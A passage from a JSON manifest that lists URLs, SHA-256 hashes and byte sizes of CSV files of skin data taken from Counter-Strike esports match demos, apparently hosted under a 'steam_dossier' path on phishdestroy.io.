          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79756_faze-vs-natus-vincere-m3-anubis.dem.skins.csv",
          "sha256": "4f518297ebf8e74ab62971844bd9966f775ea47c1aa43f3400cc58a703c0571f",
          "bytes": 127703
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m1-inferno.dem.skins.csv",
          "sha256": "2292d9e835a7c07e174d598b624d0bb4c87f19979db4c8e2dc0d99ca2f9459af",
          "bytes": 103485
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m2-overpass.dem.skins.csv",
          "sha256": "f7e73599a160103df1a19b25c23a6d39fa0a031ba5e08932df09728d07f3f556",
          "bytes": 88893
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m3-vertigo.dem.skins.csv",
          "sha256": "c33f9e84ddd80e6d587111ade68ce0f229a162978a5b9100c1bab6df184bbca7",
          "bytes": 75056
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79760_apeks-vs-ninjas-in-pyjamas-m1-vertigo.dem.skins.csv",
          "sha256": "46063ef994d8c5c1ee689f9c9331b39d6d484b9c1f20b8f8942ab2b389c6581d",
          "bytes": 103553
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79760_apeks-vs-ninjas-in-pyjamas-m2-ancient.dem.skins.csv",
          "sha256": "9f0c9a1ea419eebe7f259ebb7d9f6d1acae235800790c95c1a41b8f9c6b92616",
          "bytes": 98427
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m1-nuke.dem.skins.csv",
          "sha256": "2ad2f49b8a723ca439e0886032629377e4ae48abf07baf69e766e70677338d94",
          "bytes": 74978
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m2-overpass.dem.skins.csv",
          "sha256": "19ac39d6cdf3cc9568f93e2b0f2d112f53b76ffa75aefba21997d907b9e1c866",
          "bytes": 80700
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m3-mirage.dem.skins.csv",
          "sha256": "55b2e222a4838c82f768f682b0072450f7415ada2c96e53dba851eef989bf7ad",
          "bytes": 61829
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79803_vitality-vs-into-the-breach-m1-vertigo.dem.skins.csv",
          "sha256": "6b04dc28cc703d438625e44a295818accd3648f485e39114387d10cebf48e225",
          "bytes": 90314
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79803_vitality-vs-into-the-breach-m2-anubis.dem.skins.csv",
          "sha256": "2117e6c03956623ac0878de552cb3d805db61ed667bcc5aff660fa87da31db2f",
          "bytes": 87054
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79806_monte-vs-gamerlegion-m1-mirage.dem.skins.csv",
          "sha256": "2529765e6828a79d96bf753c6b796502eb1429aba681e7670251343a0218dfc9",
          "bytes": 126506
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79806_monte-vs-gamerlegion-m2-overpass.dem.skins.csv",
          "sha256": "0e29216525510b6a26fa83f6d27dd2199d7d4f9010b2daa7ff805c9704c48d64",
          "bytes": 80301
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79807_liquid-vs-apeks-m1-ancient.dem.skins.csv",
          "sha256": "f5cf226feb517cbbbf80d62a114520d704ccced89f036ccddb4bbdabffc11cc1",
          "bytes": 70247
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79807_liquid-vs-apeks-m2-overpass.dem.skins.csv",
          "sha256": "989692040ad5aa558c62e50f9aa97f9aac79cef1764db4d1d8bc2bbfd527c4c7",
          "bytes": 74129
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m1-ancient.dem.skins.csv",
          "sha256": "ae49249f19f7793ba98d2a7357df97cfb9f1565657949dc0a9c0bb196969eae5",
          "bytes": 81087
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m2-inferno.dem.skins.csv",
          "sha256": "2dcc244965865fd20c273238da5758a7da4e60290b89b65b6fd079554e9cf447",
          "bytes": 95658
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m3-mirage.dem.skins.csv",
          "sha256": "3feb45da89c65e204394c8632c73c093f6f091c7d7d643f9f3e0904d3158d769",
          "bytes": 72183
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79832_vitality-vs-apeks-m1-mirage.dem.skins.csv",
          "sha256": "74bab0bc41f7361fb4cb5e00ae494e5715f9e5c4ee41087b4504aa6c9cf0962e",
          "bytes": 99914
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79832_vitality-vs-apeks-m2-vertigo.dem.skins.csv",
          "sha256": "3e00c6821ea61ffd6793b991e98438879008d734b29a7d15c5da9480e370bd01",
          "bytes": 68440
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79841_gamerlegion-vs-vitality-m1-overpass.dem.skins.csv",
          "sha256": "989091d03502d5eceaf5b58e9946130fd988dbfbf475f04223367ba360755114",
          "bytes": 82622
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79841_gamerlegion-vs-vitality-m2-nuke.dem.skins.csv",
          "sha256": "57b224b50194fe6393ba30caeb0ef14e9b7838877d81713d53d68c4be4e443c0",
          "bytes": 75262
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86018_natus-vincere-vs-themongolz-mirage.dem.skins.csv",
          "sha256": "4c55b618a949529bfebc1b41fcd293eb82450403f4e221ef509090fe35f6efbc",
          "bytes": 222487
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86019_mouz-vs-ecstatic-overpass.dem.skins.csv",
          "sha256": "e5f644222838f3024412200c87c8e8eca933db2e975961ffd54326797a4746ed",
          "bytes": 220679
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86020_virtus-pro-vs-imperial-inferno.dem.skins.csv",
          "sha256": "108c262592a7c29e7bea98b099c4dd3a9287a7e7b4ab383b70a66cc62472493d",
          "bytes": 96121
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86021_vitality-vs-eternal-fire-inferno.dem.skins.csv",
          "sha256": "3d42fae0c2878c6468aa0ff58bd5e17ab95f40eb38bcf5eb8b9f9bb765bd601e",
          "bytes": 115763
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86023_complexity-vs-pain-vertigo.dem.skins.csv",
          "sha256": "391b65b1fd485a006a8a0e5aabea38fd5b6104c18f09576333f69033595e5bf8",
          "bytes": 83856
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86024_faze-vs-heroic-ancient.dem.skins.csv",
          "sha256": "16002cfc4f99ca30a54ff554830b31ba4a6bc501f6d4d104cb2f185035ea85d1",
          "bytes": 106978
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86025_g2-vs-furia-inferno.dem.skins.csv",
          "sha256": "0f13b0ef1c0ae5c20b8961c51c942c739b894240b977c7c5a49c22e4e7485e5c",
          "bytes": 125438
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86026_spirit-vs-cloud9-ancient.dem.skins.csv",
          "sha256": "aeae539f4ed3d5c778a7bf891eceb917706d18e21adaf1262f2a0acc699be6d4",
          "bytes": 182720
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86029_vitality-vs-themongolz-nuke.dem.skins.csv",
          "sha256": "6994dd595e10ba0835b39c5cef8866fdc3892a4b74f192bafdff94b56a62830f",
          "bytes": 200546
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86030_mouz-vs-eternal-fire-vertigo.dem.skins.csv",
          "sha256": "f05f1ab98409b9c5a97d8f56dc50d0f008aadad570483be6c6733b025bdc980c",
          "bytes": 143156
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86031_virtuspro-vs-pain-inferno.dem.skins.csv",
          "sha256": "1f45158fe8c2370d50025001a90ca8c07bce4e6568eab8e93a0fb97f62eb0c86",
          "bytes": 120140
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86032_complexity-vs-heroic-vertigo.dem.skins.csv",
          "sha256": "4da0d08961cf35fa548d4994e83eaeef75915fbbd4291fda159baf16c4986d58",
          "bytes": 140037
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86033_cloud9-vs-ecstatic-overpass.dem.skins.csv",
          "sha256": "ebf950f61c5bdf2eb516ff6c1698ae7a0c4326a81a003311b813df03d9c5c7ed",
          "bytes": 116455
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86035_natus-vincere-vs-g2-nuke.dem.skins.csv",
          "sha256": "c63200883a1c72bd5331eb1651dac51d7e8a5b33d50f061f09e9b77768056f78",
          "bytes": 154804
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86036_faze-vs-furia-ancient.dem.skins.csv",
          "sha256": "ac506c5013118ccd6fda9b2a2a41a9ddf9e138b1735011a06290dbd7d8d6369b",
          "bytes": 98439
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86038_spirit-vs-imperial-mirage.dem.skins.csv",
          "sha256": "d3df1789ea4fdf900970b2d4784e35094359a2f63e3fae4b508f928149465bfc",
          "bytes": 72960
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86044_heroic-vs-virtus-pro-ancient.dem.skins.csv",
          "sha256": "7b77e44099648f804db1ef8694bca6203852308777aff2c877a9ac657a329ada",
          "bytes": 97424
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86045_g2-vs-cloud9-anubis.dem.skins.csv",
          "sha256": "7c65d04cbfed5744d1154d68537cddc5f9b07724a7c184220046a44747247085",
          "bytes": 129898
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86047_eternal-fire-vs-faze-overpass.dem.skins.csv",
          "sha256": "72aabc51ed21a99f69d482ee016c3aa136432b062156cfb47aeae99cfd54d252",
          "bytes": 72874
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86048_imperial-vs-vitality-overpass.dem.skins.csv",
          "sha256": "3933f6e5a77f77be840312c378cf118d9ed28be7eaafb50d8a5f7b6e358bfd8c",
          "bytes": 83799
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86050_mouz-vs-complexity-m1-overpass.dem.skins.csv",
          "sha256": "647d8e5113549122c842334c0d9b2a4ed30958f5cba9e5ade5e909af400af1f7",
          "bytes": 98425
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86050_mouz-vs-complexity-m2-ancient.dem.skins.csv",
          "sha256": "bc56e4039189266ec5dd08a238ce31dbfa32e3980bd6f4b6feca17b616edce77",
          "bytes": 102370
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m1-mirage.dem.skins.csv",
          "sha256": "ea2bf7b79faf29d7980f3a74da442b35f57a887889af1dc47f3a0d52657a4735",
          "bytes": 190656
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m2-nuke.dem.skins.csv",
          "sha256": "d664219e79c818172358e4cff8e0e8f0004c7f0022f52c9c65cfffd6bdaa675e",
          "bytes": 187648
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m3-inferno.dem.skins.csv",
          "sha256": "ccdeab5767697a58724294117ba2511a0d43b2dfe7a88ca9b9a25e2c8edd83ce",
          "bytes": 351473
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m1-nuke.dem.skins.csv",
          "sha256": "611e2b6fcb836be7cbcfad4623109d5375c63be643a209bb7df0956bd0796a3b",
          "bytes": 227520
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m2-ancient.dem.skins.csv",
          "sha256": "267f442eb4e6014462a1b988723fbacb6234f81b042672633788d3b420a7adf6",
          "bytes": 167226
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m3-mirage.dem.skins.csv",
          "sha256": "e0eb178087119da2320497de2dbfd6b2e2304567f468cd1f0eb48af90352d074",
          "bytes": 146676
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m1-overpass.dem.skins.csv",
          "sha256": "ff8b61c9ade1cc84bacf246cde790e449a93bd7569a7b7447e0bb6fdcd345af9",
          "bytes": 160257
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m2-inferno.dem.skins.csv",
          "sha256": "74fd4690bb8496b5c5be596c783ca33cd96fc430e556fff5953923d5f326d1d5",
          "bytes": 213468
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m3-ancient.dem.skins.csv",
          "sha256": "33fb9b336d3b1f71a6e8a7b7fbd48d3c1c755d1cfcbc8f3bdd173f0f886f0477",
          "bytes": 118305
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m1-nuke.dem.skins.csv",
          "sha256": "d02e67d905365c7e865ce39cbe459a6a2f06a4c265ab16268bad12a21e659f1b",
          "bytes": 68853
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m2-anubis.dem.skins.csv",
          "sha256": "747f67b1f427e8faff20176957ed4d0efe82b825424208fbca971ff0c9c6bae2",
          "bytes": 93848
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m3-mirage.dem.skins.csv",
          "sha256": "c1024e4ca1dfd4a90f37928a9f7f9fff8a4f83fb181ad24885198bd78c45a50e",
          "bytes": 67369
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m1-overpass.dem.skins.csv",
          "sha256": "7bb011aaea7c4bd3b862c6db217653b645beb6e7be8448ac3261ef958e6116b7",
          "bytes": 123398
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m2-vertigo.dem.skins.csv",
          "sha256": "4f4a3d9b67f584ed9cc6dee1e9cd1e764f2c8de28e3ff6693883ae7eab1b5c3d",
          "bytes": 106724
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m3-inferno.dem.skins.csv",
          "sha256": "27860356082d4ba4f232a8bf522c62e1778e8b06cde769145317a639265e86ed",
          "bytes": 127757
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m1-inferno.dem.skins.csv",
          "sha256": "3e5cda68e210c878bae43c9f4e56aeba6c3433158db82f3356b68d9a5fb17734",
          "bytes": 163733
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m2-vertigo.dem.skins.csv",
          "sha256": "ec52fc0a9f9d1c45d3e705dd40316bad1a3ba27d28188b7870c6e282ec6c6529",
          "bytes": 163468
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m3-anubis.dem.skins.csv",
          "sha256": "67b277c1ed606bc080024c4881e8ee0c6e1adbf97d818271eea93b7ec126d738",
          "bytes": 158134
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m1-inferno.dem.skins.csv",
          "sha256": "a96ea7a16a02b853a5427b277485547374463e5603119e8f221ac0fc76a058e1",
          "bytes": 169871
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m2-vertigo.dem.skins.csv",
          "sha256": "a60ba4f2bb20aa61c93a45a2ae33d4453775ef5215f9356105a3f502ea6a42ed",
          "bytes": 70693
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m3-anubis.dem.skins.csv",
          "sha256": "ddbf80f239116f3e68fe0eb48d56b2b3b3a27582e6695524b3417da2e639ba46",
          "bytes": 94926
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86066_heroic-vs-pain-m1-nuke.dem.skins.csv",
          "sha256": "f545759fe2fbfc1cf52143c71d14f53845a0e01d3ac55416b882039cd3642bc8",
          "bytes": 62628
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86066_heroic-vs-pain-m2-mirage.dem.skins.csv",
          "sha256": "1d940b1774bb1cb70c9da0bb557344e70fceeb561fa5cb2e866bec5194867240",
          "bytes": 97952
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m1-mirage.dem.skins.csv",
          "sha256": "622968e67b7c2139fd2d14ad312ae0ef63e209a93639ac88d34ff4e798093373",
          "bytes": 189544
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m2-ancient.dem.skins.csv",
          "sha256": "c64b8b0e6bb713ed59eb72416be6e48ef1efe67d285b19dfb7282abf8e920e86",
          "bytes": 100650
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m3-overpass.dem.skins.csv",
          "sha256": "ad4f093ae621d9e578d43c61f8794d0e837f8e7fa07bede5f3f62c5873bc2d5c",
          "bytes": 87260
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86074_complexity-vs-faze-m1-nuke.dem.skins.csv",
          "sha256": "7e8e82c3219d1373b8423a1d24302264371f2da64a0bea63767174ebc1b2b76f",
          "bytes": 81594
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86074_complexity-vs-faze-m2-overpass.dem.skins.csv",
          "sha256": "0dac8a8d2590ec2c78e62949b12db2f8e865171287d311f1adf30401edb146f5",
          "bytes": 93399
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m1-overpass.dem.skins.csv",
          "sha256": "44b130f4f95b5573c9b4506b4c6534857ef3608aff7a9ecadda8ae48ef8cf8b1",
          "bytes": 223613
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m2-inferno.dem.skins.csv",
          "sha256": "d862dde7ca6ef8498325fa70b775e0bf4e726cedc61e593e52ee491bdd009aaf",
          "bytes": 191937
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m3-anubis.dem.skins.csv",
          "sha256": "4374af89867c4b635542ca22c65167a2997cb42f5a9c74b5bb9b449f7b6be813",
          "bytes": 118301
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86078_natus-vincere-vs-pain-m1-nuke.dem.skins.csv",
          "sha256": "3d573ae301e78e7fd85dcf4fadb826d1de16aefd6bebb1c0f3a2a22de37b0601",
          "bytes": 90910
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86078_natus-vincere-vs-pain-m2-mirage.dem.skins.csv",
          "sha256": "1d32fbaa00cc2755769df493552f3232cfcfa980b18b995257d738ad3535d23e",
          "bytes": 94964
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86154_cloud9-vs-vitality-m1-inferno.dem.skins.csv",
          "sha256": "882d82e8e7fb6d9ba71e7ea48c2794ab7674e85c1b9f35825bbb98d4dd52a403",
          "bytes": 110644
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86154_cloud9-vs-vitality-m2-anubis.dem.skins.csv",
          "sha256": "59da5fbe02c0ff59e1d2ef237f51db7eaf93b534ff39a439d5f82e25824fa10d",
          "bytes": 99097
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m1-mirage.dem.skins.csv",
          "sha256": "c115240755722e3418b76369d1107f5bcee67d5721a14ad7aa7ffd8b16deb8a3",
          "bytes": 152169
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m2-nuke.dem.skins.csv",
          "sha256": "d12975f3232aa076f2aa2a2eef52c24a10d43ad30b3f4308c0bb4765322a1b6f",
          "bytes": 235617
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m3-vertigo.dem.skins.csv",
          "sha256": "1b2439f5acb36b394424d99f80b1b2e314e2141599a506b6e092d4f2c8b87bd4",
          "bytes": 219908
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86172_eternal-fire-vs-natus-vincere-m1-mirage.dem.skins.csv",
          "sha256": "d0273886cc3c704672fffed61223f70f9c134bc4ab968a73ef8252ec62f3e5dd",
          "bytes": 157794
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86172_eternal-fire-vs-natus-vincere-m2-inferno.dem.skins.csv",
          "sha256": "9fafb85e0dd3bacabe9029cd0eedd260e161f37c52c1094949578b3e5d33d07e",
          "bytes": 120798
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86175_mouz-vs-g2-m1-inferno.dem.skins.csv",
          "sha256": "c1a18a0ef438ded78f80233c73ca84fedf191327a0cf60078ec86a6ee55d282c",
          "bytes": 204172
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86175_mouz-vs-g2-m2-vertigo.dem.skins.csv",
          "sha256": "35f34dde591c25682fc7c3f8bd338f9a2fcf481766c0d1f26b86163f4ad07156",
          "bytes": 167305
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m1-nuke.dem.skins.csv",
          "sha256": "bd760c375a99bb8ba96f2e711ba6a9fadaafaeea7418d5b57918600288e34eae",
          "bytes": 79868
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m2-vertigo.dem.skins.csv",
          "sha256": "c24cf02eaf3fe561a5d0ddc2b5dcb68d03e1ff62cdc4007bc0d8d7881a3fae02",
          "bytes": 74633
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86180_vitality-vs-faze-m3-inferno.dem.skins.csv",
          "sha256": "a2eca0003bece9b421522a78b143b6052870f667b8cf0f7dcd36346629592267",
          "bytes": 120226
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m1-anubis.dem.skins.csv",
          "sha256": "8de064ba72b174665d8f79a55d106a2bc85b861ff3df118ccf46f6ce32586866",
          "bytes": 188932
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m2-nuke.dem.skins.csv",
          "sha256": "f7d2fa162f590437e9c1c6d2c38c6336457b30c5430c5cc79b0ccaffd26100b4",
          "bytes": 108726
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86181_natus-vincere-vs-g2-m3-ancient.dem.skins.csv",
          "sha256": "9a4a0dabee1a69413f4415b2b1bf72ff58db0a6dccdd41336f0e708f8b39eb96",
          "bytes": 148357
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m1-ancient.dem.skins.csv",
          "sha256": "fd798af07e54f2682f889675a7454c1979c73bd138ab6e3c40cef0db4bb897c6",
          "bytes": 125529
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m2-mirage.dem.skins.csv",
          "sha256": "adcddd39bf0546e0e40e36edf6024911bc0f403d8a99a55fb31ddd654ee5d684",
          "bytes": 84157
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86188_faze-vs-natus-vincere-m3-inferno.dem.skins.csv",
          "sha256": "b78288f8d9f68da68190488426426076e395244bcd6f33530154d0ec0e430fab",
          "bytes": 104863
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92883_natus-vincere-vs-liquid-nuke.dem.skins.csv",
          "sha256": "325393d310d7fb84360e7b11b0a3b5941efaf0a6b77f0c0eb89565891145b2ae",
          "bytes": 102515
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92884_vitality-vs-gamerlegion-mirage.dem.skins.csv",
          "sha256": "fa10ecd2554ee43868846f0ccceec1afaf4c2cd9a3e2a846040fb9126dfce9bd",
          "bytes": 137684
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92885_g2-vs-the-mongolz-inferno.dem.skins.csv",
          "sha256": "df87a512ec88aff74ca011485e0b6d3a6f9299791c05e0a861a11204ff20dfc8",
          "bytes": 265617
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92886_spirit-vs-furia-dust2.dem.skins.csv",
          "sha256": "53e0d7f4e44f44245f93c58c173a7ff202b2f505f7268e2eb6bda5ce216340d3",
          "bytes": 119366
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92887_mouz-vs-pain-nuke.dem.skins.csv",
          "sha256": "e438a576362796bc8b3eae667c251f281804955da1ea1067d1eddbaf83713e84",
          "bytes": 103900
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92888_faze-vs-wildcard-ancient.dem.skins.csv",
          "sha256": "6c7ae508d7a4a31f140318f638d6d5574434eaeed7fddc83b7f9208ec17dd8c6",
          "bytes": 115478
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92889_heroic-vs-big-mirage.dem.skins.csv",
          "sha256": "b4b163ce90f892c45c0bbd8e325e52aed8e9b7774f6c7e027a94be53daeef713",
          "bytes": 116732
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92890_3dmax-vs-mibr-vertigo.dem.skins.csv",
          "sha256": "302b5a625074a5add3e7a3d6046774a2857dad1f7081110eba5139d945b2ff5a",
          "bytes": 134639
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92894_liquid-vs-gamerlegion-inferno.dem.skins.csv",
          "sha256": "ff412e8c9c67cf67509116c3af5dd338b64badd008126289ee82d64e34a5e235",
          "bytes": 154719
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92895_vitality-vs-furia-mirage.dem.skins.csv",
          "sha256": "9eaf086f381a79d97c536dd0afe39bc3600cf424e8add7a5a382b71b52185901",
          "bytes": 152779
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92896_mouz-vs-the-mongolz-mirage.dem.skins.csv",
          "sha256": "b9f3a2e2836c8e94f3a011b910a23f39a9c8bd4ac8fdeff4cb47fc1955779fae",
          "bytes": 333935
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92897_spirit-vs-wildcard-ancient.dem.skins.csv",
          "sha256": "0081b01378205e8f139b3ed870110041e4126b60c6a2339eea8f87e73ad79e87",
          "bytes": 152852
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92898_g2-vs-big-mirage.dem.skins.csv",
          "sha256": "d4a0be2c7cfc72b99fd180a008383897ca5c6454f775a2797ae533d885441c51",
          "bytes": 135906
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92902_natus-vincere-vs-mibr-inferno.dem.skins.csv",
          "sha256": "5849523c413086f75bdac57f99812e1d5e76c258e1a8bd1a659b888c16bffc2d",
          "bytes": 165456
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92905_faze-vs-heroic-ancient.dem.skins.csv",
          "sha256": "5f41924d99db3dd06accd04a999fa581f7dfba0485f8a5973b85373b348f4ca6",
          "bytes": 119461
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92906_3dmax-vs-pain-dust2.dem.skins.csv",
          "sha256": "3d2c0ac911b518bc765f739c5826daed0b6fa476f89a56226dd67a5229c80eeb",
          "bytes": 141753
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92915_natus-vincere-vs-spirit-mirage.dem.skins.csv",
          "sha256": "add59ee506934b4f40373383ff12030399f365b423df6c05e018c4811100e492",
          "bytes": 101743
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/92916_furia-vs-liquid-inferno.dem.skins.csv",
          "sha256": "d9ab2fda9bb009d25950fb054bc048d92ba1252cd10cf637cd7dbb03b4881f09",
          "bytes": 104082
        },
        {
